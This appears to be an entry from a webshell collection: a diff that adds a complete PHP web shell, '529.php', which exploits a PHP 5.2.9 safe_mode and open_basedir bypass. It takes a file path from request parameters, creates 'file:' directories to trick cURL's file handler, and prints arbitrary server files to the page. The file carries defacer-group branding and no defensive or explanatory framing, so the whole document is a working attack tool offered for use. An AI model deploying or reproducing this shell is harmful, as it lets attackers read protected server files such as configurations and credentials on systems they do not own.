webshells 1

Author: John Ombagi

529.php

@@ -0,0 +1,58 @@
+<?php 
+/* 
+safe_mode and open_basedir Bypass PHP 5.2.9 
+KingDefacer ARCHÝVES / 
+
+This Exploit Was Edited By KingDefacer
+NOTE: 
+ 
+
+*/ 
+
+if(!empty($_GET['file'])) $file=$_GET['file']; 
+else if(!empty($_POST['file'])) $file=$_POST['file']; 
+
+echo '<PRE><P>This is exploit from <a 
+href="/" title="Securityhouse">Security House - Shell Center - Edited By KingDefacer</a> labs. 
+Turkish H4CK3RZ 
+<p><b> [Turkish Security Network] - Edited By KingDefacer
+<p>PHP 5.2.9 safe_mode & open_basedir bypass 
+<p>More: <a href="/">Md5Cracking.Com Crew</a> 
+<p><form name="form" action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["SCRIPT_N 
+AME"]).$_SERVER["PHP_SELF"].'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hardstylez" value="Show"></form>'; 
+
+
+$level=0; 
+
+if(!file_exists("file:")) 
+    mkdir("file:"); 
+chdir("file:"); 
+$level++; 
+
+$hardstyle = explode("/", $file); 
+
+for($a=0;$a<count($hardstyle);$a++){ 
+    if(!empty($hardstyle[$a])){ 
+        if(!file_exists($hardstyle[$a]))  
+            mkdir($hardstyle[$a]); 
+        chdir($hardstyle[$a]); 
+        $level++; 
+    } 
+} 
+
+while($level--) chdir(".."); 
+
+$ch = curl_init(); 
+
+curl_setopt($ch, CURLOPT_URL, "file:file:///".$file); 
+
+echo '<FONT COLOR="RED"> <textarea rows="40" cols="120">'; 
+
+if(FALSE==curl_exec($ch)) 
+die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.'); 
+echo ' </textarea> </FONT>'; 
+
+curl_close($ch); 
+
+?> 
+bypass shell: